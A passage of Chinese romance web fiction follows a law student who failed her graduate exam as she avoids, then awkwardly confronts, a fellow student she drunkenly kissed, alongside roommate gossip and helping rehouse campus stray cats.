“一整个讲坐架着二郎腿抖腿,给柯弋吵得没看完就走了。我朋友说还是第一次看他脸臭成那样,哈哈哈哈哈听着就好笑。”
“还不止呢,我跟你们说......”
符瑾又洋洋洒洒举了好几个例子来支撑她先前的观点,不断深化固有印象。
就这么说了十几分钟,说得口干舌燥,她停下猛灌了半杯水,爽利地“哈”了一声。
符瑾重新坐回位子上,手一拍,结束。
“怎么样?是不是觉得很割裂?”
话音停,一时间,三道视线都投在边月白身上等她开口。
确实,她口中的柯弋对她来说确实很陌生。
边月白对柯弋观感挺好的,仅作为考研搭子来说。但是室友们总是纠正她这种不每天相互报进度的不叫搭子,但是边月白就觉得他们之间有种默契的——战友情。
虽然对方学习也不是很积极,但是天天会来打卡学习说明还是很上心的。
熟悉了之后柯弋也会很有礼貌跟她打招呼,但不会问一些很逾越的问题。比如,问她今天学到哪这种让人有压力的话。
最多在边月白椅子上搭着的衣服掉地上的时候过来提醒一句,有一次她抱着东西太多笔掉了弯腰帮她捡一下等等这类小事情。
多贴心啊。
而!且!他无论是平板写字还是电脑打字从不会发出哒哒哒那种扰人的声响!
怎么会是符瑾口中这么无礼的人呢?
要是在此之前听到柯弋这些事迹,边月白想都不会想就把人划分到仗着长得好看就为所欲为,随意踩踏人家一颗真心的那种坏蛋。
不过现在她才是坏蛋。
边月白羞愧捂脸。
毛霏霏:“我有个想法不知道当说不当说......保温杯哥不会是喜欢你吧?不是都说喜欢一个人的时候会变成另一个人吗?”
戚慧摇头,显然不信:“我觉得应该是白白对他没意思,碰上次数又少,大家那个时候都在备考哪有那么多时间分心思给不相关的人。”
隔了好一会儿,边月白说出另一个解释。
“你们说......他是不是当年嘴欠被人揍了,现在终于学会好好做人好好说话了?”
“......”
也不是没可能。
4. Allergy 04
结束多方“审问”之后,准备复试两位室友拿着包离开。
走前戚慧还意味深长地拍了拍边月白的肩膀,添油加醋:“柯弋真要像符瑾说得那样,你就...好自为之吧。那他可能已经在拿着刀来找你算账的路上了。”
“你这都不能说是‘迂回战术’了,是直接A了上去啊。”
毛霏霏拂开戚慧手不认同,依照她昨日对柯弋的初步判断,应该不至于。
她胳膊夹着平板,安慰道:“没事的,我感觉就算柯弋打你,你一拳也能干回去。昨晚在你的强迫下他简直毫无还手之力。”
边月白:谢谢,一点也没有被安慰到。
-
边月白坐在桌前闭上眼睛缓了会儿还是觉得头难受,抄起桌上的水杯起身,准备出门接点热水泡杯蜂蜜水缓解一下。
等边月白一回来,符瑾眼神闪烁,凑在她身边神秘兮兮地问:“说说看,你昨天都坐人家身上了。”
“怎么样?什么感觉?”
边月白额角又是一抽,脑袋上缓缓敲出一个问号,“什么什么感觉?”
“没感觉啊。”符瑾眨眨眼,语气有点可惜,"原来网上说的是真的,长得好看的一般都不太行。"
等等,边月白好像知道她在说什么了。
她又再想什么呢!?
边月白肉眼可见的脸红了,侧过脸,吞吞吐吐地说:“我昨晚喝多了,我...真的不知道发生了什么。你、你记错了吧。”
见符瑾不信,又指着她问:“那不然你说说看我们昨晚都玩了什么劝酒游戏?我不信你能记得。”
符瑾当着她面笑眯眯报出一串名字,“怎么样?”
“......”
你不是个一杯倒吗?
见边月白铁了心不打算说,符瑾也不追着问,这事就这么不了了之。只不过她的沉默落人眼中,愈发像是一种侧面印证。
边月白咬咬唇,对不住了柯同学,希望不要给你带来什么负面影响。
但其实她昨晚没有完全断片,只不过要让她亲口承认再次回忆还不如杀了她算了。
边月白捧着温热的蜂蜜水小口啜吸着,也有些懊恼。都怪符瑾那句话,脑子里控制不住在回忆那种陌生的触感。
一想起来好像更清晰了,两人紧密相贴时,所有感官被无限放大,甚至那种硬度似有若无,带着冲出禁锢的危险感。
可是他脸上神情很冷淡,没什么多余的反应,只是懒懒地垂着眼皮,手里虚虚握着她手腕。
溢出喉间的嗓音嘶哑。
“想做什么?嗯?”
当时边月白脑子一片空白,鼻尖萦绕着他留下的气息。
好好闻,有种淡淡的茉莉花清香,是喝的特调酒吗?
边月白往前凑,鼻尖微动,在他面前轻嗅。
柯弋喉结一滚,用手制止她往前的趋势。
她低头看着他手莫名委屈,泪汪汪望着他,声若蚊蝇:“可是你在梦里不是这样的。”
“那我是怎样的?”
“说说看。”
柯弋瞧着发笑,做出一副洗耳恭听的模样。
然后她边说边附身上前,柯弋听了她大胆的话眼皮狠狠一跳,撩眼看她,似笑非笑的,紧缩的眸子透露出一丝危险韵味。
似乎在说。
哦,看不出来,你居然对我还有这种想法。
边月白哀嚎一声,捂住脸,强行掐断了回忆。
完了,真的没脸见人了。
这跟在网上发疯舞到正主面前有什么区别。
唯一区别就是还带了点颜色。
都怪符瑾!!!!
当事人符瑾正在抱着平板追电视剧,一听到她惊呼就从隔壁探出脑袋,关心问。
“没事吧?”
“没事。”
边月白声音闷闷的,跟感冒了似的。
-
边月白倒是觉得能感冒一场也好,这样就能放任自己休息一段时间。每天都有理由能睡好久,也不用去思考下岸后该怎么办,也可以有理由把跟柯弋那点事全部抛至脑后。
但是不行,她身强体壮,中午睡了个午觉起来整个人就神清气爽,简直是天生考研考公圣体。
下床之后,边月白咬着发圈捋头发时,这么想着,苦涩得扯了扯嘴角。
挑了两本去年学姐送的考编书,电脑线一拔,往托特包一塞,边月白就准备出门了。
手刚搭上门把手,符瑾抱着手里的薯片,提醒她:“记得带伞,晚上可能会下雨哦。”
“好,谢谢。”边月白再次返回,翻找了下桌面,发现自己的折叠伞不见了。
倒也不是什么大事,只不过很奇怪,她这人只丢伞。大学四年饭卡学生卡都没丢过,偏偏是最不起眼的伞她每隔一段时间都能丢一把。
“又没了?”
“等等,我有多的。”符瑾放下薯片,抽了张纸巾擦净,拿起搭在小推车上的透明伞丢给她,“接着!”
边月白抬手接住伞,定睛一看,“嗯?是上次你们拍照片的那个道具伞呀?”
“对呀,下雨天撑可有氛围感了。”
氛不氛围感的都是小事,边月白握在手里晃了晃,“谢谢啦。”
“客气。”符瑾满不在乎笑了笑。
-
戚慧的自习室位于致用楼2层,很新,唯一不好的是里面学生成分复杂,来自各个专业。备考的时候找同专业人交流都难。
这原本是间上课用的教室,当初统计完考研人数后发现今年报考人数达到新高。于是学校临时拨出来一间教室扩容用的。
所以位置安排也比较草率,并不像图书馆自习室那样按照学院分区安排位置,这里的座位先到先得。
戚慧曾经偶然抱怨过位置不好,直到边月白这次跟她换自习室才知道有多不好。座位左侧就是大门,右侧不到一米的距离还有一个嗡嗡作响的饮水机。
难为她了,这个环境都能上岸。
边月白没什么好抱怨的,比起跟柯弋共处一室,她宁可融入一个新环境。
此时还有人趴在位置上午休,边月白轻手轻脚放下包,给自己泡杯水放在台面上,坐定在桌前后打开电脑拿出书。
其实手里翻阅着考编书,边月白也没怎么看进去。
边月白自认为一直是个很有目标的人,但是突如其来的失利打了她一个措手不及,所有对未来的规划被打乱。
不仅如此,她还能感受自己有点丧气。
很不合时宜地想起去年考研前院里开大会时,院长站在台上劝他们考虑清楚不要盲目从众考研。当时他的那番话还记忆犹新,仿佛一个回旋镖隔了很久,正中眉心。
——你真的有能力读研吗?
——你真的适合读研吗?
边月白现在的脑袋乱糟糟的,像一团浆糊。
似乎听家人话继续准备二战是最好的选择。
但其实心里总会有个叛逆的小人在那掐着她脸说:考不上研也没什么大不了的嘛。你看人家符瑾从去年就开始实习了,等法考一过证书一拿不就能准备准备上岗就业了吗?
另一个小人摇头:符瑾那是去的她叔叔的公司,不一样的。
边月白摇摇头,两个站在脑袋顶上掐架的小人瞬间消散。
别看符瑾那不靠谱的样子,人家成绩虽不拔尖但从没落下过。A大法学系还是很有名气的,她叔叔的公司业界有名,能进去可不止靠人脉,也靠她有本事。
看了会儿考编书又登上求职网看了会儿,一下午时间就这么过去,心中还是没能拿主意。
天色慢慢阴沉下来,风雨欲来。
许是看天色不对,早上又是大晴天也没人想着带伞,自习室一下走了不少人。还能听到有人匆匆从身后路过时还念叨着,“糟了糟了,我晒的被子啊。”
不过须臾,窗外落下淅淅沥沥的小雨,打得早春新长的树叶摇头晃脑直打哆嗦。
边月白撑着脑袋打开手机。
符瑾:【在?要不要帮你带饭?】
一看时间已经五点半正是下课时间,这还是半个小时之前的消息,不用想也知道符瑾估计没等到她消息自己先去买饭了。
即使知道,边月白还是回了个消息。
边月
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白:【刚刚没看手机,我等会自己去食堂。】
对方秒回了个“OK”。
为了错开跟生猛的学弟学妹们抢夺食物,边月白在自习室多坐了半个小时,手指在对话框上打了字又删删改改,好久都编辑不出一段话。
对着跟妈妈的聊天框叹了口气,最后作罢,锁上屏幕。
窗外的雨更大了,在玻璃窗上拉出又长又细的水渍。
边月白抿了抿嘴,在思考要不要出门。不过片刻,她心一横,整理收拾好背上包,拿着雨伞踏出自习室。
等下了楼,撑开伞,刚走没两步。
雨声渐歇,步入尾声。
-
下午六点。
柯弋起身将座位推近桌子,回头视线再次掠过身后座位上的人,瞳色冷了下来。
在一片寂静中离开图书馆,他撑着伞一路顺着坡度下来,逆行穿过人流。本以为今天这一天就这么平淡无波的过去,没想在路过某个岔口的时候,看见了一道熟悉身影。
柯弋脚步顿住,站定在路口,抬起压得严实的黑色雨伞,看见这么一幕。
天幕深蓝,细雨绵绵。
小巷之中,少女撑着透明伞,站在樱花树下,满地的花瓣。身后那条道闪过赶着去上晚课的学弟学妹们,响起好一阵毫无规律的脚步声。
路灯柔光恰好打在她身上,一身简单的白色长裙,披着条单薄的针织灰色外套。水洼倒映着明黄的灯光,还有她的倒影,随着雨打水面变得模糊。
最近校内樱花开了,晴日有很多人精心打扮之后来这里打卡拍照。今日下雨自然没什么人,没想过她会出现在这。
其实路边一整排樱花树都开得饱满,簇簇如云。唯独她面前的这一棵,歪歪扭扭地从路旁斜生出来,枝干单薄,被雨点无情地抽打着,花瓣零落满地,看上去格外凄惨。
边月白仰着头,伞因为动作慢慢后靠,雨水顺着伞沿滑落。露出一张平静的脸,雨珠打在脸颊滑落,有点像在流泪。
薄薄的眼皮,窄窄的内双,不笑得的时候带有一种天然的冷气感。琥珀色的眼珠在深邃的蓝中变得乌黑,街灯为她点上高光,生动又透亮。
柯弋喉结不自觉滚动好几下,没忍住,那个名字还是溢出喉间。
“边月白。”
只见她转身,看清是他之后,身形狠狠一震,一副如临大敌的模样,握着伞的指骨用劲到发白,不自觉退后一步。
柯弋将她下意识的举动清楚看在眼里,此刻雨夜的潮意和冷气同时扑面而来,让他心底一片冰凉。
下一瞬,她居然一声不吭跑了。
“......”
因为跑得太快,脚底溅起的水珠还打湿了裙摆一角。
柯弋抿了抿唇,沉默着见人消失在眼前,才迈出步子,站定在她先前的位置上仰起头。
又过了会儿,他微微弯腰,直到与她的视线高度齐平,再度抬头。
视线穿过花瓣缝隙只见一盏街灯,细碎的光斑打在他白净的脸上,眼皮微不可察地颤了下。
-
逃命似的跑出几百米之后,总算踏进女寝大门。
边月白支着腰大喘气,好一会儿才匀过气来。
戚慧说得对,真找上门了。
好消息是,对方没有拿着刀来,但比拿着刀还恐怖。
边月白一想起刚刚他那阴沉的样子就心慌。
方才在去食堂吃饭的路上,突然刮起一阵风,漫天落下樱花雨打断了她的暗自神伤,一抬头看到一大簇樱花,很漂亮,特别有生命力。
就当边月白看得入神,被他冷不防一喊,当场吓了个激灵,侧头一看更是头皮发麻。
黑衣黑伞,几乎要融入黑暗之中,唯有执伞的手白润如玉。
两者黑白相衬,透出一股危险气息。暗影投落而下,面容模糊,隐隐露出深邃的一双眸子,像是在暗处伺机而动的猎手。
太吓人了,这月黑风高夜的,一下子让她想起网上的某些法制新闻。
她当时根本没意识到其实是自己犯错被人找上门,脑子里只有一个念头——
快跑啊!!
5. Allergy 05
女寝一共十二幢楼,每幢六层,中央的一块大花坛是猫猫狗狗常聚集的地方。要是天气好还能看见猫猫翻着肚皮晒太阳,可会撒娇,一点也不怕人。
小动物们一个个的被这儿住的女孩子们喂得白白胖胖的。
天空正飘着毛毛雨,这么点雨打伞和不打伞区别也不大。但边月白她住的那幢楼在最里头,要走好远才能到。
回寝路上,一个短发女生抱着纸箱子低头从面前小跑而过,没看路差一点就撞上边月白。还是边月白眼疾手快往后退了一步,虚虚拖住了纸箱才避开。
“啊,对不起对不起。”短发女生张皇失措地道歉,甩了甩头,露出刘海下一双明亮的黑眸。
短发女生显然在外待了好一会儿,还没撑伞,此时双肩上的衣服全是水渍,软塌塌地粘着皮肤。发梢也淋湿成一缕一缕的,搭在肩膀上。
“没事。”
边月白的视线落在她沾灰的手上停了两秒,又转向她手里的纸箱。似乎知道她会看过来,里面忽地冒出一只灰色小猫头,朝她眨了眨眼,一张口声音软乎乎的。
“喵~”
边月白先是诧异了一下,而后就明白了。
女寝里专门有一些姐妹自发形成了保护猫猫狗狗的小组织,时常自费买一些零食给它们改善伙食,或是自己废物利用做个小窝给它们。还有的姐妹会自带逗猫棒或者玩具球下楼跟猫猫狗狗一起玩。
因为在大四忙起来之前,她也曾是其中一员。
“是在挪窝吗?”边月白手一抬,让两人都站在伞花下。
“嗯嗯,是呀。下雨了它们倒是机灵先跑了,但是窝还在外面淋雨。纸箱子不能浸水,不然这么冷的天气它们晚上又要露宿街头了。”短发女孩边走边解释,还抬了抬下巴,“我们想着把它们的窝挪到那边房檐下,这样也不用淋雨了。”
边月白顺着她视线看去,果然还有两个女生在帮忙转移阵地。女寝一楼都是不住人的,门口是一块空地,没有具体用途,一般被学生占据了支架子晒被子或者停小电驴。
如今那块空地被形状各异的纸箱子霸占,边上还有几只小猫绕着纸箱慢条斯理地渡步。
短发女生弯着眼笑,“淋点雨没事的,你撑着自己就好了。我们也快好了。”
边月白干脆把伞收了,靠着墙边一放,过去帮忙。
没隔多久,几个女生忙活完聚集在一起,蹲在一群猫猫面前。
边月白从包里拿出小包纸巾,给每个人手里都塞了几张。女孩子们虽然看上去很狼狈,但是眼底都亮晶晶的。
其中有个女生满脸愁色地摆弄着纸箱,嘟囔了句抱怨,“有几个浸湿了。”
“没事没事,我那还有纸箱子。毛毯的话...晒干就好啦!”
“好呀,那我现在拿过来?”
“你先吃个饭吧都快七点了。”
“好。”
边月白表示自己反正没多久也要毕业了,那里还有些纸箱子和小毛毯可以贡献出来。
几个女生眨巴着眼看她,“哇”了声说:“那先谢谢学姐了。”
边月白被一句句学姐叫得不好意思,压了下上扬的嘴角,“客气啦。”
短发女生轻轻“咦”了一声。
“怎么了?”边月白看她一直不说话好像在找什么。
短发女生抬起头,迟疑道:“你们有没有觉得好像少了只小三花。”
其他几个女生纷纷说似乎没什么印象,因为这里三花猫还挺多,面前就有一只在扒着地翘起屁.股伸懒腰,也不知道她具体说得是哪只。
边月白想了想,“好像有点印象,是不是耳朵缺了一个角那只?”
“对,是它!”短发女生微微提起声音。
看着她明亮的眸子,边月白顿了下,“但是那只三花猫去年我就没再看见了。”
短发女生闻言眼里的光瞬间被吹散,肩膀一塌,有些丧气,“是吗,一直以为它胆子小躲着人。不过......可能是被哪个姐妹收养了吧。”
边上的姐妹拍拍她肩膀,“很有可能啊,上次不就有只很可爱的橘猫被3栋那个姐妹抱回家了吗?”
其他几人纷纷应和。
边月白张了张嘴,没敢说自己的猜想。
去年“狗伤人事件”在热搜闹得沸沸扬扬,当时有些激进的家长向校方施压,这才导致那段时间保安在全校抓野猫野狗捕杀。
大家投喂了那么久早就产生感情了,况且都是一个个小生命。就算力量薄弱没办法改变校方的决定,好多学生当时都想法设法护着这些猫猫狗狗。
然而那只耳朵缺了个角的小三花在逃跑的时候,不小心跑到男寝那,大家都没顾得上它,差点被逮住,还是她及时找到加之遇上好心人帮忙打掩护,这才躲过一劫。
但至此之后就找不到它了。
可能,还是她们力量太小了吧。
-
得知边月白也没吃晚饭,短发女生表示:“学姐,你也不用多跑一趟了,我跟你走一趟吧,之后的事情就放心交给我们吧!”
“那好。”
于是边月白带着女生回寝室,符瑾正好也在,这么一听也贡献了一份绵薄之力。正巧之前两人还卖了逗猫棒和小零食都给搜刮出来,理出一小箱给人送到门口,这才空下来考虑自己的晚饭。
一看已经七点多,这时候食堂的菜估计也没剩多少,点外卖还要等,索性从抽屉里拆了盒速食米线。熟练地撕开,接水,撒上调料包,最后拿出kindle压在泡面上。
“怎么吃泡面啊?哇~不过这个好香啊。”符瑾像只小狗乱嗅,语气夸张。
“快别说了,刚刚是想去食堂买晚饭的。结果半途碰上柯弋了,给我吓得直接蹿回来了。之后就碰上了刚刚那个学妹。”
“啊?干嘛啊?”符瑾收了那副懒懒散散的模样,严肃地说,“他没对你做什么吧?”
“那倒是没有。”边月白挠了挠脸,仔细一想觉得自己反应似乎过大了,简单描述了下当时的情景,“就......你懂吧,那个环境下,身后突然有个人冷冰冰喊你名字。换做谁都会被吓倒好不好。”
“可以理解。”符瑾抽了本书卷成话筒递到她面前,语气带着揶揄问她,“那现在容我采访一下这位同志,在醉酒强吻考研搭子后一天又碰上当事人那一刻你在想什么?”
边月白面无表情接过“话筒”,诚恳道:“说实话,那一刻我脑子里只有,他要是冲过来把我打了我都认了。但是——”
“他要是敢这么做,我会祭出《治安管理处罚法》让他体验一套拘留加罚款,要是情节更严重一点,那《刑法》都够他喝一壶了。”
“说得好!”
符瑾高喝一声,为她鼓掌。
这时门被推开,戚慧风风火火冲进来,包往桌子上一丢,灌了一杯水才看着边月白吐出几个字,“保温杯哥。”
边月白和符瑾头顶问号等她后话。
戚慧换了口气,“他今天主动问我你去哪了。”
边月白心中一紧,“你说什么了?没说我搬哪去了吧?”
“当然没说,你可是我室友。他是谁你是谁。”戚慧没好气瞪了她一眼,又说,“我说你想一个人静静。”
符瑾扑哧一声,笑得说不出话来。
边月白沉默了片刻,还给自己评价上,“说得好,很符合人物当下心境。”
-
事实证明,越是不想见的人越容易遇上。
当晚睡了一觉,边月白想通了,她准备继续二战。
不是为了顺从家里人,只是因为她需要提升学历。但是现在才三月份,还有好久,首当其冲就是要完成毕业论文,再在空余时间积累实习经验。
其他的,暂时不考虑。
就这么想着,第二天一早她在食堂吃完早饭之后兴致勃勃背着包就去了自习室。
这时候再找实习说实话有点晚,但也没有很晚。边月白通过了一个学姐内推获得了一个精品所的面试机会。
边月白从电脑上一堆文件里终于找到之前学院强迫她们做的CV,结合经历稍加润色了一番,邮箱发送出去。顺带还投了几个感兴趣的红圈大所,也不知道能不能挤进去,大概率希望渺茫。
因为有人打招呼很快有了回复,面试约在下周三,还有四天准备时间。
边月白一上午都在准备面试和笔试,但是觉得没什么经验还是不放心,约了那位学姐午饭后一起喝咖啡,顺带讨教点面试经验。
敲定好见面时间和地点之后,边月白一
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埋头就是几个小时,再抬头一看窗外太阳高悬于顶,已是午饭时间,自习室里也没剩几个人。
天气真是多变,昨天下完雨温度骤降,今天太阳一出温度又直线上升,在室内穿着外套都嫌热。
电脑合上,收拾了下桌面,边月白拿上钥匙离开。
没等她去开门,门兀自开了。
边月白靠右挪了一步,让出空间,但不见对方做出任何反应,皱了皱眉,抬头。
意外的,直直撞入一双深邃黑瞳,还有点淡漠又晦暗不明,像是要将她吞没。
边月白倒吸一口凉气,浑身都开始不自在。
柯弋!!
他怎么会出现在这!?
自习室门窄,他生得肩宽腿长,往那一站直接堵住她的出路,脸上没什么表情,只是这么打量着她,直白得毫不收敛。
这让边月白心里直打鼓,感觉他气势汹汹,像是要来找她麻烦。
怎么办?
一定是为了那件事来的!!
她有罪,她以后再也不喝酒了。
边月白咽了口唾沫,干巴巴地问:“你......你怎么在这?”
“嗯?”柯弋好整以暇地看她,“我为什么不能在这?”
没等她回答上来,出人意料地还反问:“那你呢?你为什么在这?”
“我?”边月白干笑两下,迅速收了笑语气有点凶,“你管我?”
“那你管我为什么在这?”柯弋反将一军。
“.......”边月白语塞。
还好此时有人要进门,打断了两人这不尴不尬的开场白,那语气还有点冲。
“让让好吗?有什么情感问题出去聊天不要堵在自习室门口,OK?”
“不好意思。”
柯弋稍一弯腰,伸手握住边月白手腕,一用力将人拉出挡到自己身后。随后侧身让出路,撩开眼平静地接受了对方的白眼。
自习室门再次关上,光线变暗,只余下走廊顶灯。
两人的面孔被镀上一层模糊滤镜。
边月白视线在他手腕停顿两秒。
“商量个事儿,你能放开我手腕吗?”
柯弋一回头就看见她脸皱成一团,直接拒绝:“不可以。”
边月白没想到他能说出这么无赖的话,悄然抬眸。但一见他冷淡的神色,想着他定是还在气头上,语气又不自觉放轻,好商好量道:“那你想怎么样?”
隔了好久。
柯弋向前走了一步,两人距离瞬间拉近,他就这么直视着她,缓缓压下腰。鼻尖几乎就要碰到她的鼻尖,他身上好闻的气息不知不觉缠住了她。
就在快要触碰前一秒,边月白身体一僵,倏得侧过头。
“你是不是在躲我?”
耳畔响起他略带磁性的声音,靠得太近,滚烫的吐息喷洒在她耳后皮肤上,声音震动频率直直传送到她耳边。
耳朵好痒,没忍住,眼皮细微得打了个颤。
那一刻,边月白绝望地闭上了眼,这真是一种......好憋屈的感觉。
偏偏自己是过错方,还是个只知道逃避的过错方。也不能说他什么,不过分的情况下只能先哄着。
柯弋垂着眼,看着她耳后那块皮肤从一片嫩白变成如今粉红一片,只感觉嗓子那干得快要冒烟,指尖控制不住蜷缩了下。
也不知道哪来的勇气,边月白深吸一口气后,猛然转头,准备再度与他视线交汇,然后跟他解释清楚,承认自己的错误。
要道歉她就道歉,要补偿...条件不离谱就补偿!
结果,不知道是不是自己动作幅度太大。
转回头后鼻尖无意蹭到了他下唇。
!!
雪白喉结就在眼前,上下滚动了两下。
!!
脑子瞬间一片空白,原本到了嘴边的话,忘了。
边月白气场还没支楞起来就瞬间破灭,唯一能做出的反应就是后退了一步,可是鼻尖还残留着那种绵软的触觉,不断在刺激她的神经末梢。
她完了,她现在满脑子都是。
——这嘴一定很好亲。
于是她欲言又止好一会儿,最后放弃,欲哭无泪地说。
“知道你还问?”
6. Allergy 06
面对柯弋,边月白仍盲目自信认为自己还能像曾经那样心如止水。
但柯弋真的很疯,直接打碎了她平静地外表,以及她引以为傲的自制力。
他眼眸眯起,在静谧而长久的对视中,周身的气压越来越低。手腕上那双手缓缓收紧,就当边月白以为他就要发火的前一瞬,突然出声。
“我需要一个解释。”
柯弋微微勾起唇角,在她的注视下撩起卫衣边缘。
身前肌理如块垒的腹部因此袒露。肌肉线条性感而紧致,肤色出奇得白。尤其是那勾人的人鱼线清晰埋入裤腰,宽松的运动裤就这么懒懒挂在腰腹。
这场面很像在引诱对吗?
只有边月白知道,那是在柯弋在试图唤起她的良知。
因为最让边月白崩溃得是。
他干净的皮肤上还有很多杂乱的,斑驳的、深浅不一的、触目惊心的红痕!
这红痕怎么来的只有边月白这个肇事者知道!
那是她手欠揪出来的!
啊啊啊啊啊啊啊!!!
这些,都是她的罪证。
而她,罪无可恕。
边月白这次没喝酒,清晰地感受到一股热度从后颈而起一路灼烧到自己耳根子,再到脸颊。
这画面实在太有冲击力,甚至把脑海里模糊的记忆勾出,此刻正不断攻击着她心中岌岌可危的边防线。
柯弋见她脸上闪过震惊、错愕、尴尬、腼腆等神色之后,也只不过不慌不忙地挑了下眉。
于是捏着她手腕那只手终于有动作了,他用了点力一抬,然后准确无误地让她的手搭在了鲜活的肉.体上。
边月白只感觉脑袋都要炸开,想为自己辩解,又觉得此刻好像也不是她的错,一句话都说不出来。
这件事已经远超她的预估范围,隐隐还有种收不了场的感觉。
边月白张了张嘴,感觉说出话的声音都不是自己的,“我...你......”
看他也不是,低头也不是,边月白绝望地仰头盯着天花板,想抵赖:“我好像没什么印象了,这跟我没什么关系对吧?”
“敢做不敢当?”
边月白梗着脖子不动,纠正他:“我不记得的事情怎么承认啊?如果我记得我一定承认!道歉!补偿!”
手腕上的力道紧缩,他像是在说一件格外稀疏平常的事情,“我跟店老板拷了那天的监控视频。”
边月白正视他,秒认错:“我错了。”
悄悄抽了抽手,却被他摁得死死的。
“你们在干什么?!”
走廊尽头出现一个带着眼镜的男生,声音大高不低,倒也不是质问的语气,单纯惊讶到了破音。
是啊!光天化日之下他们究竟在干什么??
思绪回笼,羞愤情绪直接给边月白脑子冲宕机了,看了眼那个男生,又看了自己手下的腹肌,眼睛再次被烫到,迅速弹开。
这一次,她挣脱开了柯弋的手,两人距离也随之拉开。
柯弋卫衣下摆随之垂落,本人脸上毫无波澜,羞耻这种情绪更是没有,只是侧过头淡声跟那个一脸错愕的男生说:“等我几分钟,我跟她说点事。”
嗯?他们认识?
“噢、噢,那你们先聊。”那个男生磕巴了下,推推眼镜,知趣地闪身进了自习室。
所以这是他朋友?
他是来找他朋友吃饭的?
然后就这么不巧......还在这遇上了她,就顺带解决一下他俩的恩怨?
那她可真是点背啊!
边月白边在心中流泪,边跟在柯弋身后来到楼梯间。
通道门一合上,边月白率先开口掌控先机,“说吧,你想要什么解释?前天晚上那件事我深刻反思过了,确实是我不对,我跟你道歉。”
静默片刻。
柯弋对她的话毫无动容,脸上神色算得上平和,说出来的话倒是夹枪带棒的。
“事情已经发生了,我不需要你的道歉。你是学法律的,肯定清楚不是什么事情道歉就有用,不然要警察要律师干什么?”
“那你说怎么办?”边月白瘪瘪嘴,最后眼睛一闭心一横,扬起脸,一副要豁出去了的样子,“实在不行......你要是不消气也扭两下?”
“虽然我只有一块腹肌...还是软的,你别介意.…..”
说着她作势就要撩开衣服露出肚皮。
柯弋眼皮狠狠一跳,迅速出手压住她将要抬起的手臂,咬牙切齿地呵斥她:“边月白——你有没有点性别意识!!”
她这是什么脑回路?
动作没能继续,边月白似想到什么,脑袋一偏,笑了。
“我知道,你别误会,我里面穿着衣服。”
柯弋闻言闭了闭眼,深吸一口气,却也没觉得轻松。
边月白看着他,眨了眨眼,内心思忖着。
其实,这么看来柯弋也不是那种乘火打劫的伪君子。
根据符瑾口述他的那些事来分析,柯弋这个人的底色也好性格也好,可见一斑他并没有想象中那么温和有礼。他可能只是不甘心自己白白被人占了便宜,但是出于教养又不能真的对她做出什么出格的事情。
顶多也就是跟刚刚那样吓唬吓唬她,警告一下她。
被边月白这么一打岔,气氛一下活跃不少。
“我是说真的,那天是我不对,道歉是肯定要的。是我鬼迷心窍,这两天我每每想起都万分后悔,恨不得以死谢罪。但是我知道我还是罪不至死,你可不可以看在我没有犯什么大错的情况下原谅我啊?”
见他神色稍稍和缓,边月白眼珠一转,随即循循善诱:“你也没什么损失对不对?我还没有做到那一步对不对?”
话音刚落,边月白敏锐地察觉到他神色又是一变,心里咯噔了一下。
柯弋眉宇之间浮起郁色,说话不急不缓,“就因为前天那件事吗?值得你特地换一个自习室?”
顿了顿,他又说:“你要是介意那件事,我可以当作没有发生。真要说起来,这事我也有责任。”
边月白茫然一瞬,他怎么反思起来了?
他不说还好,这么一说,边月白都有点觉得自己过分了,明明自己责任更大。这显得她说的那些话跟道德绑架似的。
略一思索,边月白趁热打铁:“那我们各退一步?忘了吧?”
他忽然笑了,清俊的眉眼愈发得好看,再度靠近,压着声音,“真的吗?你忘得掉吗?”
说话时微弱气息喷洒在颈侧,尾音微微上扬,有点坏坏的,像是蓄意想引着她去回想那些事似的。
“嗯?”边月白愣了愣,心里莫名有点被他勾得痒痒的。
不是,不带临时变卦的啊!
这又是什么意思?
突然觉得在她这没魅力想要证明自己吗?
怎么男人也这么善变?
糟了,该说什么?哪怕是在模拟法庭上巧言善辩的边月白现在一个字也答不上来。
可能是一下把人逼太紧,看着她僵在脸上的表情,柯弋微微后撤,悄然换了个话题。
“不饿?在准备复试?”
他真是会说话,刚给她说得整个人要红温。下一刻,似是一盆冷水下来,光是“复试”这个词就瞬间让边月白警觉。
此刻她就像只应激的猫,浑身炸毛。
什么意思?这是来炫耀自己考研上岸了?
呃,不过他应该不会这么没品吧。
边月白摇了摇头,不知怎得想起跟室友的对话,脑子里更是不知道跑偏到哪儿去,缓缓露出了一丝狐疑。
虽然自己喝多了的时候是有点过分,但他不能误会她喜欢他吧?
这么想来......那他这句话一定是觉得她成绩又那么差,还对他上下其手,在警告她不要对他多生歹念才对!
边月白越想越觉得合理,而她会这么想也是有理可循。毕竟昨天从符瑾口中知道,他拒绝人的说辞就有一条“太蠢的”不喜欢。
虽然不想承认自己比他差,但是这一刻边月白豁然开朗,举起手向他保证。
“柯同学你完全可以放心,我发誓我绝对你没有任何想法。我不喜欢你,那一次真的只是意外!”
“以后绝对绝对不会缠着你困扰你的!”
“这件事我会永远烂在心里!”
说着在嘴前做了个拉上拉链的动作。
只见他嘴畔的笑意越来越浓,可脸色越来越阴沉,两声冷笑从喉间溢出,短促又低沉。
边月白默默将举起的手收回来,她都这么说了,怎么还不开心了,男生真的是奇奇怪怪的。
柯弋缓缓开口:“边月白,我很想知道——”
“我问你一句饿不饿,是不是在准备复试。”他似乎真的被气到,停下还无语地笑了声,才继续,“你究竟脑补了些什么东西才能脱口而出你不喜欢我的?”
尤其说到最后几个字,几乎是一个个字从他齿缝里蹦出来,透露出一股子深深的怨意。
“啊?”边月白绞尽脑汁,从最表层思考了下他的两个问题,“还......还好。呃,现在去吃饭。”
复试?告诉他自己没进复试?
不可能的,不想说。
让她把伤口敞开给人看再得几句关心的话,算了吧,宁可不要。
边月白找到借口借机溜走。
“那我先去吃饭了?”见他没搭腔,默认对话就此结束,边月白松了口气,在柯弋眼前摆了摆手,“柯同学拜拜。”
转身的瞬间,发梢轻轻柔柔扫过柯弋的手臂,很轻。
柯弋无力地将眼闭上,无奈的叹息从他喉咙发出,提了下嘴角,仿佛在嘲笑自己的自作多情。
女孩儿跑出去几步又回身,面色纠结好一会,真诚建议:“柯弋,好好练练。下次要碰上这种事,记得反抗。”
“......”
柯弋终于知道,原来人不仅无语到极致是真的会笑,气到极致也会。
-
柯弋缓步回到自习室,此时里面只剩程善一人。他轻轻咳了一声,屈指敲了敲门,问:“去吃饭?”
程善放下手里的书,幽怨地控诉他:“你看看人都走了!都去吃饭了!我等得快饿扁了!!”
“等会我请客。”
程善这才开心了点,咕哝了句,“这还差不多,走吧走吧。”
